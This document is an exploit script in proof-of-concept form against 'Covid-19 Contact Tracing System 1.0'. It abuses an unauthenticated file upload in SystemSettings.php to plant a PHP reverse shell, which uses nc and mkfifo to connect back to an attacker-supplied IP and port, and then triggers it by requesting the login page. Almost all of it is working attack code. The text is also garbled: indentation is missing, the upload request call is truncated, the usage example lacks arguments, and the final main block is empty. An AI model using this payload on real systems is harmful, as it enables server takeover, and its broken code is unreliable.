# Exploit Title: Covid-19 Contact Tracing System 1.0 - Remote Code Execution (Unauthenticated)  
# Date: 28-02-2021  
# Exploit Author: Christian Vierschilling  
# Vendor Homepage:  
# Software Link:  
# Version: 1.0  
# Tested on: PHP 7.4.14, Linux x64_x86  
# --- Description --- #  
# The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.  
# --- Proof of concept --- #  
import random  
import sys  
import requests  
from requests_toolbelt.multipart.encoder import MultipartEncoder  
def file_upload(target_ip, attacker_ip, attacker_port):  
random_file_name = str(random.randint(100000, 999999)) + "revshell.php"  
revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port)  
m = MultipartEncoder(fields={'name': 'PWNED', 'img': (random_file_name, revshell_string, 'application/x-php')})  
print("(+) Uploading php reverse shell..")  
r1 ='http://{}/cts_qr/classes/SystemSettings.php?f=update_settings'.format(target_ip), data=m, headers={'Content-Type': m.content_type})  
if r1.text == '1':  
print("(+) File upload seems to have been successful!")  
return None  
print("(-) Oh no, the file upload seems to have failed!")  
def trigger_shell(target_ip):  
print("(+) Now trying to trigger our shell..")  
#The file we uploaded previously is expected to be an image that the web app tries to embed into the login page.  
#So by requesting the login page, our reverse shell php file will get triggered automatically. We dont even need to calculate the random bits of its new name.  
r2 = requests.get('http://{}/cts_qr/login.php'.format(target_ip))  
return None  
def main():  
if len(sys.argv) != 4:  
print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0])  
print('(+) eg: %s 4444' % sys.argv[0])  
target_ip = sys.argv[1]  
attacker_ip = sys.argv[2]  
attacker_port = sys.argv[3]  
file_upload(target_ip, attacker_ip, attacker_port)  
print("\n(+) done!")  
if __name__ == "__main__":